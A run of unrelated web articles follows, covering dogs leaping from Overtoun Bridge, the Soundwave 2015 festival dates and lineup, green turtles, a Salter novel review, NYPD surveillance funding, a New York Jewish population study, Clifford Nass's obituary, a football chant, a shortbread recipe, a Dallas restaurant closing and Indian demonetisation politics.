Bridge, near Dumbarton, in Scotland. Locals believed in a range of conspiracy theories; that the dogs had been mesmerised or attracted to the sound of water or drawn in by an optical illusion whilst others believed that nearby giant electricity pylons were producing static that confused the dogs. There was even the suggestion the bridge is haunted through a story about a local man who was later sectioned under the Mental Health Act after throwing his baby off the bridge. Knowing there would be a scientific explanation rather than a myth, my initial guess, as a human and animal behaviour, eventually became the most likely explanation. When I first stepped onto Overtoun bridge, on a cold winters morning, I was immediately struck by the striking Gothic structure. This added to the image of Overtoun House which was shrouded in a Hammer House of Horror rolling fog. This building, once home to Lord and Lady Overtoun, had left to people of Dumbarton by the wealthy Victorian philanthropist. I was eventually joined on the bridge by Donna. She was one of the people who, on a family walk the previous year had lost a lively Border Collie named Ben. She gently described how she and her husband walked happily onto the bridge with their young son as the dog explored. Suddenly, without warning, Ben jumped onto the parapet wall and dropped out of sight. It was not difficult to imagine their sense of panic as Donna's husband struggled down the steep bank to the gorge river below. When Donna left me alone on the bridge and strolled back towards the grand house I walked its full length and tried to put my mind into that of a dog. The entry point at the far side of the bridge stands at the end of an innocuous looking tarmacadam pathway lined either side by trees and impenetrable bushes. The path slopes downwards and curves away until it disappears. A family with a dog would approach the walkway like any other in a local park with the same pathway. A lively dog would likely criss-cross a path from either side to explore the undergrowth. There are no slopes or cliff edges on this approaching path. Once on the bridge at the first of four sets of parallel parapets, my first thoughts were that the solid stone walls would create both visual and sound barriers to a dog. In addition, the initial top of the bridge walls are covered with ivy that could add an optical illusion. After a casual look from my standing height, the other side of the walls from the semi-circular parapets is a 40-50 foot drop to the gorge below. A dog on the ground would not be aware of this significant drop until the last moment when momentum was already too late to change. Other factors including the presence of the continual sound of water rushing between the river boulders, dominates the surrounding air. This and wind noise, together with dense foliage choking the scenery immediately beyond the bridge, effectively serves to hide all but the largest of the water falls down below in the gorge. I had predicted from the onset there might be some type of strong scent around the I predicted from the onset there might be powerful wild animal scents around the parapets that might over-stimulate a dog's senses. However, I needed some evidence of something more tangible. I knew there would be scent-marking from rats, squirrels, stoats and possibly the rarer pine-martins or the related, much larger, mink. The latter creature first introduced from North America into the UK for farming and inadvertently (or deliberately) released into our countryside. The death-records of most dogs that have leapt from the bridge date back to the onset of mink-farming in the 1960s and this factor offered an additional clue. Evidence of mink or otter was confirmed in the area not only by a naturalist, who spotted droppings beneath the bridge, but also by Kenny, who explained as an angler that the top hill-quarry had lakes that contained trout (perfect diet). James, my brother in law, witnessed what could have been the presence of otter or mink which he calmly watched follow a hedge-trail behind me during filming. When a sound engineer introduced recording equipment an acoustic sweep suggested nothing untoward. During the making of the program to be screened later this year I supervised various experiments with dogs at Lords House Farm, Rishton (East Lancashire) including some based on wall-jumping and scent-reacting. The answer to the Dog-Bridge Suicides is highly likely in a combination of factors including wind direction (perhaps an increased effect following reconstruction of the bridge arch decades ago) and significant series of owner-cues and walkers many of whom look over the bridge walls to the gorge below. This story is one that I know fascinates dog owners around the world. I enjoyed all my investigations in the four documentaries undertaken (2005-2015). Suffice it to say my verdict will always be misadventure and never dog-suicide. Dr David Sands, March 2018Written by Nastassia Baroni on June 28, 2014
UPDATE 20/08/14: The Soundwave Festival 2015 lineup has arrived! Full details here.
AJ Maddah has taken to Twitter to reveal massive changes for his flagship festival Soundwave in 2015, announcing an expansion to a two-day festival, held across the same weekend in Adelaide and Melbourne then the next weekend in Brisbane and Sydney.
Maddah made the announcement via his overactive Twitter account today, revealing that Soundwave 2015 will be held over two days in each city, Adelaide, Melbourne, Sydney and Brisbane. “So half the bands play day 1. The other half play day 2. They criss-cross Saturday/Sunday in each city,” the promoter said.
“Adelaide & Melbourne will be the 1st weekend of the festival. The dates for these 2 cities are Saturday 21 and Sunday 22. Sydney and Brisbane will be the 2nd weekend of the festival; held over Saturday 28 and Sunday March 1.”
“The ticket price for the 2 days will be the same as last year. $185 + booking fees. These will be limited in number. There will also be a number of day tickets available at $120 + booking fees. I am hoping that offering day tickets will make festival experience available to those who may not be able to afford weekend tickets.”
The entire lineup will be announced at once, presumably in August as previously indicated, and weekend tickets will then go on sale. The lineup will then be split into individual days when day tickets go on sale.
“Putting the line-up across 2 days enables us to minimise clashes; give bands longer sets, better staging, production & infrastructure. I am also hoping that this will give fans better value for money and a less stressful day.”
The promoter noted that not only did this give the festival twice as much dark time for bands to deploy their best light show, but also that headliners won’t be forced to play in the middle of the day like other two day events.
He also clarified that there would be less stages, with the bands who would usually play on those moving to bigger ones. It will also not be a camping festival.
The promoter finished by thanking SFX Stereosonic for providing “advice and guidance” on two-day festivals.
ALL THE DETAILS ABOUT THE NEW SOUNDWAVE
Maddah had previously commented that the 2015 festival would undergo some date changes in an effort to curb lost business as a result of clashing with Adelaide’s Clipsal 500 and the Sydney Showgrounds’ Gift Show.
AJ Maddah confirmed earlier this year that 2014 would be his Soundwave’s last stint in Perth, telling fans, “[One] more year like this one in Perth and there would be no [SW] anywhere.”
The full Soundwave 2015 lineup announcement is set to land in August, but there’s already plenty of bands rumoured for the 2015 lineup. Talking to Full Metal Lockdown podcast last week Maddah revealed Soundwave Festival is currently set to feature four headline acts and said he was optimistic that Fear Factory and King Parrot will play the festival.
The first band confirmed for Soundwave 2015 were Melbourne progressive metal act Ne Obliviscaris. Maddah has also said that Richmond-based group Conditions will likely be booked for the festival.
UPDATE 20/08/14: The Soundwave Festival 2015 lineup has arrived! Full details here.
Soundwave 2014 – Flemington Racecourse, Melbourne 28/02/2014
IMG0427 Mastodon IMG0428 Mastodon IMG0430 Mastodon IMG0064 A Day To Remember IMG0070 A Day To Remember IMG0074 A Day To Remember IMG0076 A Day To Remember IMG0079 A Day To Remember IMG0084 A Day To Remember IMG0004 Placebo IMG0006 Placebo IMG0008 Placebo IMG0014 Placebo IMG0017 Placebo IMG0021 Placebo IMG0024 Placebo IMG0046 Filter IMG9493 Filter IMG0049 IMG0053 IMG0056 IMG0093 Pennywise IMG0094 Pennywise IMG0095 Pennywise IMG0096 Pennywise IMG0099 Pennywise IMG0101 Pennywise IMG0102 Pennywise IMG0100 IMG0105 IMG0113 Alice In Chains IMG0114 Alice In Chains IMG0118 Alice In Chains IMG0125 Alice In Chains IMG0132 Alice In Chains IMG0134 Alice In Chains IMG0150 Korn IMG0152 Korn IMG0153 Korn IMG0163 Korn IMG0165 Korn IMG0168 Korn IMG0172 Korn IMG0173 Korn IMG0174 Korn IMG0183 Korn IMG0187 Korn IMG0189 Korn IMG0211 Green Day IMG0221 Green Day IMG0222 Green Day IMG0226 Green Day IMG0228 Green Day IMG0229 Green Day IMG0230 Green Day IMG0231 Green Day IMG0236 Green Day IMG0239 Rob Zombie IMG0244 Rob Zombie IMG0247 Rob Zombie IMG0255 Rob Zombie IMG0319 King Parrot IMG0328 King Parrot IMG0359 Avenged Sevenfold IMG0367 Avenged Sevenfold IMG0370 Avenged Sevenfold IMG0375 Avenged Sevenfold IMG0376 Avenged Sevenfold IMG0387 Avenged Sevenfold IMG0392 Avenged Sevenfold IMG0399 Avenged Sevenfold IMG0401 Avenged Sevenfold IMG0411 Avenged Sevenfold IMG0416 Avenged Sevenfold IMG0419 Avenged Sevenfold IMG9414 IMG9418 IMG9422 IMG9423 IMG9426 IMG9431 IMG9440 IMG9463 IMG9467 IMG9474 IMG9477 IMG9479 IMG9480 IMG9482 IMG9486 IMG9496 IMG9505 IMG9509 IMG9400 Amon Amarth IMG9676 Amon Amarth IMG9685 Amon Amarth IMG9689 Amon Amarth IMG9691 Amon Amarth IMG9692 Amon Amarth IMG9710 Amon Amarth IMG9712 Amon Amarth IMG9715 Amon Amarth IMG9716 Amon Amarth IMG9722 Biffy Clyro IMG9723 Biffy Clyro IMG9732 Biffy Clyro IMG9733 Biffy Clyro IMG9738 Biffy Clyro IMG9746 Biffy Clyro IMG9748 Biffy Clyro IMG9753 Biffy Clyro IMG9755 Biffy Clyro IMG9756 Biffy Clyro IMG9759 Biffy Clyro IMG9771 Biffy Clyro IMG9773 Biffy Clyro IMG9775 Biffy Clyro IMG9778 August Burns Red IMG9782 August Burns Red IMG9787 August Burns Red IMG9788 August Burns Red IMG9790 August Burns Red IMG9806 The Story So Far IMG9818 The Black Dahlia Murder IMG9824 The Black Dahlia Murder IMG9831 The Black Dahlia Murder IMG9848 Richie Sambora & Orianthi IMG9852 Richie Sambora & Orianthi IMG9868 Richie Sambora & Orianthi IMG9870 Richie Sambora & Orianthi IMG9878 Richie Sambora & Orianthi IMG9892 Richie Sambora & Orianthi IMG9893 Richie Sambora & Orianthi IMG9898 IMG9905 Mutemath IMG9923 Mutemath IMG9927 Mutemath IMG9928 Mutemath IMG9930 Mutemath IMG9932 The Living End IMG9933 The Living End IMG9936 The Living End IMG9937 The Living End IMG9942 The Living End IMG9943 The Living End IMG9947 The Living End IMG9949 The Living End IMG9896 The Living End IMG9953 IMG9954 IMG9446 AFI IMG9453 AFI IMG9456 AFI IMG9457 AFI IMG9459 AFI IMG9957 AFI IMG9962 AFI IMG9965 AFI IMG9973 AFI IMG9976 AFI IMG9978 AFI IMG9984 AFI IMG9992 AFI
Soundwave Festival 2015
Day One
Adelaide – Saturday, 21st February, 2015
Melbourne – Sunday, 22nd February, 2015
Sydney – Saturday, 28th February, 2015
Brisbane – Sunday, 1st March, 2015
Faith No More
Soundgarden
Incubus
Lamb Of God
Ministry
Antemasque
Gerard Way
Mayhem
New Found Glory
Fear Factory
Hollywood Undead
Atreyu
The Aquabats
Area 7
Godflesh
Crown The Empire
The Interrupters
Icon For Hire
Emily’s Army
Patent Pending
Fireworks
The Bennies
The Color Morale
Monuments
Nothing More
Deathstars
Ne Obliviscaris
The Treatment
Day Two
Melbourne – Saturday, 21st February, 2015
Adelaide – Sunday, 22nd February, 2015
Brisbane – Saturday, 28th February, 2015
Sydney – Sunday, 1st March, 2015
Slipknot
Slash
Marilyn Manson
Fall Out Boy
Judas Priest
Godsmack
All Time Low
Papa Roach
Of Mice & Men
Escape The Fate
Apocalyptica
Lagwagon
Tonight Alive
Crossfaith
Butcher Babies
Confession
The Swellers
Conditions
Coldrain
King 810
Dayshell
This Wild Life
+ more to be announced!
Soundwave members pre-sale begins 12pm local time Friday, 22nd August
General public tickets on sale 9am Friday, 29th August
Saturday, 21st February & Sunday, 22nd February 2015
Bonython Park, Adelaide, South Australia
Tickets: Soundwave
Saturday, 21st February & Sunday, 22nd February 2015
Flemington Racecourse, Melbourne, Victoria
Tickets: Soundwave
Saturday, 28th February & Sunday, 1st March 2015
Olympic Park, Sydney, New South Wales
Tickets: Soundwave
Saturday, 28th February & Sunday, 1st March 2015
RNA Showgrounds, Brisbane, Queensland
Tickets: Soundwave
So here's the deal: SW15 will be held over 2 days in each city – Adelaide, Melbourne, Sydney & Brisbane. #SW15 Please RT — AJ (@iamnotshouting) June 28, 2014
So half the bands play day 1. The other half play day 2. They criss-cross Saturday/Sunday in each city. #SW15 — AJ (@iamnotshouting) June 28, 2014
Adelaide & Melbourne will be the 1st weekend of the festival. The dates for these 2 cities are Saturday 21 and Sunday 22. #SW15 — AJ (@iamnotshouting) June 28, 2014
Sydney and Brisbane will be the 2nd weekend of the festival; held over Saturday 28 and Sunday March 1. #SW15 — AJ (@iamnotshouting) June 28, 2014
The ticket price for the 2 days will be the same as last year. $185 + booking fees. These will be limited in number. #SW15 — AJ (@iamnotshouting) June 28, 2014
There will also be a number of day tickets available at $120 + booking fees. #SW15 — AJ (@iamnotshouting) June 28, 2014
I am hoping that offering day tickets will make festival experience available to those who may not be able to afford weekend tickets. #SW15 — AJ (@iamnotshouting) June 28, 2014
Putting the line-up across 2 days enables us to minimise clashes; give bands longer sets, better staging, production & infrastructure #SW15 — AJ (@iamnotshouting) June 28, 2014
I am also hoping that this will give fans better value for money and a less stressful day. #SW15 — AJ (@iamnotshouting) June 28, 2014
I'd like to sincerely thank SFX Stereosonic who blazed the trail on this 2 day festival caper in Aus & provided advice & guidance. #SW15 — AJ (@iamnotshouting) June 28, 2014
In recent years we have lost great bands over too many bands wanting to play after dark. This new set-up also gives us twice the dark! #SW15 — AJ (@iamnotshouting) June 28, 2014A green turtle escaping from a snorkeller in western Pacific: note the colour via Shutterstock
Cruising the eastern Pacific is everyone's dream, but the green turtle, the only herbivore among the sea turtles, seems to have it made in one sense. With less human predation than previously, animals that can escape nets gather in seagrass beds worldwide to feed.
Nesting is rare these days, but some sites remain in Turkey despite the perilous critically endangered state of the Mediterranean population. Elsewhere, the chelonian is endangered but its nest sites exist around Ascension in the Atlantic, and around Caribbean and Australian coasts. The worst situation is in the north of the Indian Ocean where Pakistani sites are rarely protected.
Maternal ancestry is now used to determine rookery sites and foraging grounds from south Alaska to the Antarctic Ocean. Two populations of Chelonia mydas, have been determined, instead of the varying species names that used to be given. Even black turtle was a pseudonym, because the green colour is often unseen beneath the shell (carapace) as seen in the Aussie below:
Variations corresponding to the Australasian and central/eastern Pacific haplot |
-Marie? She’s a shop girl, though a cut above: alluring, commanding, sacred and temporary. She is youth, if not innocence. She has a “stunning sexuality, but it’s like memorising the reflections of a diamond. The slightest movement and an entirely different brilliance appears.” The source of her power is rare, and also commonplace. She is chosen, she arrives, she’s a rapturous illusion – in the end it doesn’t matter. Like many women, and the shrewdest psychologists, Anne-Marie will come to understand that we can “die of love”. Only 18 years old when the affair begins, she’s already had previous lovers – a black American soldier, an Italian waiter. She is both unschooled and willing, that heady mix, and as such she is the novel’s erotic accelerant. Submission, control, preference for positions and role-play; she’s an actor in the theatre of intimacy, gazed upon, reactive and adored. She will be educated and will experiment with technique and methods, both painful and pleasurable; she will be humiliated, used, abandoned, as she will also be gloried in, raised up as a goddess, immortalised.
Nothing is reconstituted to save our feelings. It’s all presented with gratuitous honesty
And this transaction is, of course, the truth about sexual love. It’s a gorgeous minefield. Gender politics and sexual powers are coolly tested throughout the novel – another of Salter’s remarkable skills – and are revealed to be inadequate analyses. Male solipsism. Female sentimentality. The labels stick and then peel off. Lovers are cruel and selfish, as well as generous and collaborative; they are imbalanced emotionally even if they match physically. Lovers pine and fantasise and self-deceive, they profess, they lie, they leave and they remain indelible to each other’s lives. Salter understood what lies beneath housebroken relations and rules: the fairytales. He understood the deregulation of encounter and exchange – beginnings and endings, potency and vulnerability, the construction of a union and its breaking points, moments of genuine affection and failure of feeling. In this brutal and beautiful novel, nothing is reconstituted to save our feelings. It’s all presented with gratuitous honesty.
Students of literary passion owe the author a huge debt. We’re not benign creatures in love, but angels of pornography. Nor are the mechanics of sex immune from attachments. To be privy to Dean and Anne-Marie’s entanglement is to look in on our own private, impure bedrooms, our own desires and crimes.
How compulsive and how fascinating. Until the last page, the book’s tension is exquisitely drawn. Though impotent, the narrator details everything, lays it bare. He activates the grand romance that Dean himself seems incapable of. Perhaps he is Dean, Dean’s higher, missing component. Or Dean is the alter ego, granting permission, enabling wish-fulfilment of the constrained libido. In this domain, we have so many selves.
Certainly the narrator is our registrar – without him nothing of the relationship is notarised; nothing can really exist. His observations and judgments are as cruel as they are tender – Anne‑Marie’s bad breath, her lack of intelligence and peasant’s earlobes. Her expectations of marriage are foolish and perfectly reasonable. Dean is callow and handsome, he stimulates and elates his lover, but he is terrified of the consequences, responsibilities, babies. He fails to respect France and her regulations, and he calculates, on a base level, that money and happiness are bedfellows. Together, the couple’s “atrocities induce them towards love”.
But what is love, the novel asks? What can it be, beyond temporal, beyond other? Is it simply the conceit of art, like the songs on Anne-Marie’s little plastic radio? Is it the impossible phenomenology of someone else’s account? A thing unreal to our selves, frigid under our own hands, lambent only when dreamed? Is love just a story, created from our biological urges and our soul’s ache, so that we might make sense, somehow, of our coming together, our making of it, and our parting?
• James Salter’s A Sport and a Pastime is published as a Picador Classic. To order a copy for £6.39 (RRP £7.99) go to bookshop.theguardian.com or call 0330 333 6846. Free UK p&p over £10, online orders only. Phone orders min p&p of £1.99.Since 2001 the administrations of George W. Bush and Barack Obama have pumped $135 million into the NY/NJ region under the High Intensity Drug Trafficking Area program, a portion of which went into the NYPD's controversial surveillance program targeting Muslims in the Northeast. According to the AP, it's unclear how much of that money went towards surveillance "because the program has little oversight," but cars used by the department's plainclothes officers in keeping tabs on Muslim communities were paid for with federal money, as were the computers used to compile the reports for Commissioner Kelly.
Last year, John Brennan, President Obama's top counterterrorism advisor, said the NYPD was doing a "heroic job in an exceptionally good way, to protect the citizens of New York City on a daily basis." The DOJ's top civil liberties attorney, Tom Perez, has declined to speak about the NYPD's practices. Chauncey Parker, HIDTA's director in the NY/NJ region told the news outlet that less than $1.3 million of the program's money was spent by the NYPD on vehicles, but did not comment further.
In an interview with Rep. Peter King this morning, Kelly said he thought the media's use of the word "spying" to describe his department's work "a pejorative term," and noted that it wasn't just New York City that was benefiting from the surveillance. "It would be folly for us to focus only on the five boroughs of New York. We have to use all of our resources to protect everyone. We're protecting the metropolitan area."Communal planners will be mining the rich findings for years of the New York Jewish population study released this week by UJA-Federation of New York. But anyone who cares about sustaining and strengthening Jewish unity in the community will share a sense of urgency about the results, which show that if not for the dramatic growth and religious involvement of the Orthodox community, we would be seeing downward trends in numbers and virtually every index of Jewish engagement.
Thirty-seven percent of Jews surveyed define themselves as “Just Jewish,” twice the figure of 1990, indicating a growing trend away from not only denominational labels but from affiliation with synagogues or Jewish institutions.
Over the last nine years, the level of Jewish engagement here has dropped in a number of ways. Just 57 percent believe that being Jewish is important, down from 65 percent. Only 44 percent believe being connected to a Jewish community is very important, down from 52 percent. And 14 percent of Jewish households never participate in a seder, up from 8 percent, while 19 percent never light Chanukah candles, up from 12 percent.
While the Reform and Conservative movements have each lost about 40,000 members here in the last decade, the Orthodox population, with its high birthrate, now makes up 32 percent of the Jewish community. What’s more, almost two-thirds of Jewish children in New York — 64 percent — are Orthodox.
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The trends indicate that non-Orthodox Jews will continue to marry at a later age, increasingly out of the fold and have fewer children, while the Orthodox — particularly those who define themselves as chasidic or yeshivish (and together are labeled haredim) — will marry young, have more children and maintain high levels of religious observance.
These findings seem to bear out predictions that the Jewish community of the future will be small and heavily Orthodox.
Those charged with raising funds to advance the vital work of UJA-Federation, so that it can continue to serve the community, must be concerned that the segments of our population growing the most — the poor, the elderly and the haredim — are the recipients, not the givers, among us.
What’s more, the very essence of the federation system, with its wide array of communal social services and centralized giving, is premised on a cohesive population with shared values and goals. The image that emerges from the new study is one of increasing numbers of Jews moving in opposite directions — those embracing Jewish life and those avoiding it.
The center is diminishing dramatically, calling into question the very meaning, going forward, of “Jewish community.”
That presents a serious challenge to UJA-Federation and to all of us who seek to preserve and advance the cause of Jewish peoplehood. While the new report will require careful analysis and discussion, it already highlights the key role that the Modern Orthodox and Russian-speaking communities can play in strengthening the communal center. Both of those groups face internal debate over turning increasingly inward or moving closer to the larger Jewish community. (A current attempt by a segment of the Rabbinical Council of America, the largest body of Orthodox rabbis in America, to shift the group further to the right is a disturbing sign. See story, page xx.)
UJA-Federation has reached out to elements of both the Modern Orthodox and Russian groups, and will need to be increasingly attuned to their specific concerns. The Modern Orthodox want more attention paid to their issues, primarily relief from high day school tuitions, and the Russians want to feel more welcomed and accepted by the mainstream.
The good news: the survey underscores that sustained Jewish education and synagogue affiliation pay off in terms of strengthened Jewish identity. UJA-Federation’s major investment in revitalizing synagogues, supporting Jewish education and increasing the number of young people going on Birthright Israel trips has intensified a sense of Jewish engagement among those who benefited from these efforts.
How best to reach the large numbers of people in our community who show minimal interest in Jewish life — or whether it is worth the effort — is sure to be debated, as it should be.
For now we are grateful that, at a time when there is no major population study of American Jewry, UJA-Federation has provided a detailed portrait of who we are and where we stand today. It’s up to us all to reflect and act on where we are going — and whether we can indeed remain a community.Professor Clifford I. Nass, expert on human/computer interactions, dead at 55
Nass, a professor of communication whose recent research on multitasking attracted national attention, joined Stanford's faculty in 1986.
L.A. Cicero Cliff Nass, professor of communication, is remembered for his brilliance, generosity and warmth.
Clifford I. Nass, a Stanford communication professor known for his research on the way people interact with technology, died Nov. 2 at Stanford Sierra Camp near South Lake Tahoe, after collapsing at the end of a hike. He was 55.
Nass had traveled to the remote camp in the Sierra Nevada, located on Fallen Leaf Lake, to enjoy the fall Stanford Faculty and Staff Weekend, a semi-annual event.
As members of the Stanford community learned of Nass' death, many shared stories of his importance in their lives, both personal and professional.
Professor James Fishkin, chair of the Communication Department said: "The department is devastated by the loss of such a great friend, great researcher and great mentor to our students."
Born and raised in Teaneck, N.J., Nass earned a bachelor's degree cum laude in mathematics in 1981, a master's degree in sociology in 1985 and a doctorate in sociology in 1986 – all from Princeton University. Before attending graduate school, he worked as a computer scientist at Intel Corp.
Nass joined Stanford's faculty in 1986.
He was also a professional magician.
Nass is the co-author of three books: The Man Who Lied to His Laptop: What Machines Teach Us About Human Relationships (2010); Wired for Speech: How Voice Activates and Advances the Human-Computer Relationship (2005); and The Media Equation: How People Treat Computers, Television and New Media Like Real People and Places (1996). He also is the author of more than 100 papers on the psychology of technology and statistical methodology.
Studying multitaskers
In recent years, Nass attracted national attention with research challenging the notion that people could "multitask" using digital devices – talking on the phone, watching a YouTube video, checking email.
In 2009, Nass, along with two other Stanford researchers, found that people who are regularly bombarded with several streams of electronic information do not pay attention, control their memory, or switch from one job to another as well as those who prefer to complete one task at a time.
"They're suckers for irrelevancy," Nass said in an interview with Stanford Report, referring to the multitaskers in the study. "Everything distracts them."
In a 2012 social sciences summit organized by Stanford's Center for Advanced Study in the Behavioral Sciences, Nass warned of the brain-ravaging effects of increasing media consumption.
"Companies now create policies that force their employees to multitask," he said. "It's an OSHA (Occupational Safety and Health Administration) problem. It's not safe for people's brains."
At TedX Stanford 2013 last May, Nass talked about research that showed tweenage girls who spent endless hours watching videos and multitasking with digital devices tended to be less successful with social and emotional development than their counterparts who spent more time interacting face-to-face with friends, even if they also used a great deal of media.
He concluded his TedX talk saying: "The moral of this story here is really clear: We've got to make face-to-face time sacred, and we have to bring back the saying we used to hear all the time, and now never hear, 'Look at me when I talk to you.'"
Nass was long fascinated by the way people interacted with technology, including computers and navigation systems in cars. His research has been applied to more than 250 media products and services produced by Microsoft, Toyota, Nissan, BMW, Philips, Sony, Time-Warner, Hewlett-Packard, Charles Schwab and Fidelity.
He was the founder and director of the Communication between Humans and Interactive Media (CHIMe) Lab at Stanford. The lab focuses on communication in and between cars, social and psychological aspects of mobile and ubiquitous technology, the abilities of people (personalization, emotion, embodiment, adaptation, language and speech), and human-robot interaction.
He also was the director of the REVS Program at Stanford, a new trans-disciplinary field connecting the past, present and future of the automobile.
In addition, he was the co-director of the CARS (Center for Automotive Research at Stanford) Program, whose goal is to create a community of faculty and students from a range of disciplines with leading industry researchers, to radically re-envision the automobile for unprecedented levels of safety, performance, sustainability and enjoyment.
Friends and colleagues remember Nass
Speaking of Nass' work on multitasking, Fishkin said, "Cliff could do many things at the same time. He was the greatest multitasker in the world. Contrary to his own research, it only made him smarter."
Jeremy Bailenson, an associate professor of communication at Stanford, said Nass used to joke that you know a scientific discovery is important when people take it for granted as truth a decade later. He said Nass' early work on social responses to computer technology – how people treat computers as if they were people – was a perfect example.
"When Cliff first published the findings, they were revolutionary and surprising," Bailenson said. "Indeed, Bill Gates championed the work as 'amazing.' Now its impact can be seen so pervasively that we take social relationships with media for granted. Nass has transformed not only the field of communication, but the larger area of social science and engineering as well. His recent work on multitasking – illustrating the many cognitive deficits that are associated with pervasive media use – promises to be paradigm shifting."
Bailenson said Nass spent hundreds of hours over the past decade mentoring him on every academic skill imaginable until Bailenson received tenure.
"Cliff's brilliance was exceeded only by his generosity and warmth," he said. "I will remember Cliff as a person who made any room a happier place."
Sebastian Thrun, a professor of computer science, described Nass as one of his closest friends and collaborators at Stanford. He said Nass made substantial contributions not only in his own field, but also in Thrun's field of engineering.
He said Nass really cared about how people would interact with cars as they became autonomous.
"Cliff particularly cared about the issue of trust – how would you trust that a car would make decisions on your behalf – and worked with me a lot on that issue," he said.
"Cliff was a humanities person, not a scientist, but he had an extraordinary ability to understand how technology should be built to make it really good for people. He was the epitome of a great Stanford professor. He was a leader in his own field, but he also understood how to bring engineering and the humanities together more than anybody else I know."
Thrun said he will miss Nass most as an "amazing" human being.
"He was always extremely positive and extremely creative," Thrun said. "When I had a bad week, I would turn to him and talk, and things would be good again. Cliff was an extremely open-minded, enthusiastic individual who could just take you along with him in his enthusiasm. He could make you believe in a better human race."
Nass is survived by his son, Matt, a student at Worcester Polytechnic Institute in Worcester, Mass., and his partner, Barbara Pugliese.
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Middlesbrough FC fans aired a new catchy chant in tribute to right-back Emilio Nsue during tonight's Championship clash with Wolves.
Red Faction were heard introducing the song to the Riverside during the second half of the match as Aitor Karanka's side moved top of the Championship table.
To the tune of Chaka Khan's 'Ain't Nobody', Boro fans were heard singing : 'Ain't nobody like Nsue/ Makes me happy, makes me feel this way'.
As Gaston Ramirez inspired Boro to a vital 2-1 victory against Kenny Jackett's beleaguered Wolves, the chant continued and may soon become a Riverside regular.
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Nsue has become a fans' favourite this season after a string of excellent performances, and has been a regular at right-back for Boro.
The Equatorial Guinea captain, who endured a mixed first season on Teesside, has become one of the team's most improved players, and scored his first Boro goal in the win at Huddersfield earlier this campaign.
Listen to the new chant on the video above.Preheat the oven to 300 degrees.
To make the shortbread layer, spray a 9-by-13-inch baking dish with nonstick cooking spray. In a medium-sized bowl, sift together the flour, salt, and baking powder; set aside. In a stand-mixer, beat together the butter and sugar. Add the vanilla extract and beat until combined. Slowly beat in the dry ingredients until the dough is dry and firm. Press into the baking dish and pat firmly so that the dough fills every corner. You want the dough to be about ½-inch thick. Using a fork, poke the top of the shortbread dough all over with holes. Bake in the oven for 35-40 minutes until the top is golden brown. Let cool and set aside.
For the caramel, heat the heavy cream in a medium saucepan until just simmering. Add the caramels and slowly stir until they are all melted. Season with salt and pour the caramel mixture over the shortbread, making sure to spread it around so that it coats the shortbread layer evenly. Allow the shortbread and caramel layers to cool for about 20 minutes, or until the caramel has hardened. Once cooled, cut the caramel-shortbread sticks into 8-by ½-inch sticks. Carefully remove the shortbread layers from the baking dish and lay out on a baking sheet lined with parchment paper to prepare for coating.
Using a double-boiler, melt the milk chocolate until silky and smooth. Taking each caramel-shortbread stick, dip the bottom side (the shortbread side) into the melted chocolate. Place the stick onto the baking sheet and then carefully spoon the melted milk chocolate over the top so that all sides of the caramel-shortbread stick are completely coated. Coat the rest of the caramel-shortbread sticks and let them cool in the refrigerator until the chocolate is hardened, about 30 minutes.Saturday night the oldest restaurant in Dallas closed. Vincent’s Seafood was opened by Peter Vincent in 1898. The original location was in downtown Dallas on Poydras Street, between Main and Commerce. In 1955, Vincent sold it to John Kastanos, who would run the place for the next half-century with his brother-in-law Angelo Stergios and Angelo’s brother Bill.
Peter Simek published an interesting historical essay on Vincent’s last week. Simek chronicles the 117-year run of the restaurant. It’s a great read.
My sister-in-law, Sarah, and her father went to lunch at Vincent’s on Saturday. By 10:45 AM, there was a long line. They didn’t open the doors until 11:40, forty minutes past their regular time. Apparently they wanted to go out silently, but when the news leaked they were closing, the restaurant was bombarded by devoted diners. “They were out of almost everything,” Sarah said. “I felt bad for them.”
It’s never easy to watch a huge party of our cultural history die, especially a vibrant restaurant that employed so many people and educated many more on quality seafood.
Now the title of “The Oldest Restaurant in Dallas” falls to El Fenix or maybe Highland Park Pharmacy. They both opened in 1911.
Do you have any memories of Vincent’s? It was a big place for high school proms in my day.People suffered but Maitreesh Ghatak writes that voting in the state elections may have been driven less by anger over the damage to immediate economic interests than by their belief that a ‘decisive’ Modi would make them better off in the long run.
How can one explain the stupendous success of Narendra Modi in leading the Bharatiya Janata Party to a landslide victory within a few months of implementing the policy of demonetisation, which even a recently published RBI report says had negative and disruptive effects, at least in the short-run? It is impossible that a politician as astute as Modi chose the timing of the demonetisation policy without thinking of the upcoming state elections, especially the one in Uttar Pradesh with its high stakes, given the electoral importance of the state on the national stage. As I had suggested earlier, we have to see demonetisation not as an economic policy chosen on standard cost-benefit terms but largely as a political campaign.
Most economists have argued that it is difficult to rationalise the demonetisation policy on economic grounds. The government’s own justification has evolved, ranging from addressing black money, counterfeit currency, terror financing, and corruption by encouraging the increased use of digital payments and thereby facilitating greater formalisation of the economy. Given that the Ministry of Finance’s own 2012 report suggests that a very small fraction of illegal wealth is stored in the form of cash, its effectiveness as a one-time tax on black money is limited. As much as making gamblers use tokens of different colour in a casino is unlikely to curb cheating, merely changing the currency notes in which people transact will not curb corruption without systemic reforms of bureaucratic, legal, and regulatory frameworks. The argument for promoting a digital economy has more merit, but given that only one-third of the population has access to smart phones or the Internet, surely more direct investments in digital infrastructure would be more effective in promoting digitisation of transactions.
While the gains from this policy are uncertain, unlikely to be high, and in any case, can only be evaluated in the long-run, the costs are not. Other than the physical hardship associated with implementation problems in replacing the notes, such as standing in queues, the largely cash-reliant informal sector was dealt a major liquidity blow. Data on the informal sector tend to be patchy. Still, in an economy where 80% of the workforce is informally employed and 78% of all consumer spending is via cash, it is not surprising that media reports suggest a significant drop in sales and employment in the informal sector. Some of these informal-sector workers returned to their villages, which interestingly shows up in a significant boost in demand for employment under MGNREGA in the months following November.
There is no question that the poor suffered economic hardship, at least in the short-run. Early indications that this may not be politically very costly for Modi came from the fact that in a country used to strikes and rallies over anything perceived to be against the economic interest of ordinary citizens, such as increases in bus fares, there were very few anti-demonetisation protests across the country. As the proverbial dog that did not bark, this should have caused everyone to stop and think, where is the outrage?
Despite its uncertain benefits and immediate toll on voters, demonetisation not only did not have big political costs but in fact may have helped Modi because it had some of the essential features of a good political campaign. It had great signalling value – the intended message was that only a very tough leader who is committed to controlling corruption can undertake a politically risky, disruptive, and potentially costly move like this. As a campaign message, it had universal outreach and perfect targeting, as people were literally pulled by their purse-strings. Even though it was costly for the poor, they are used to day to day hardships, and any grievance they had may have been offset by the satisfaction that everyone, including the rich and the powerful, had to comply, and were in fact more inconvenienced than them, having had more to start with.
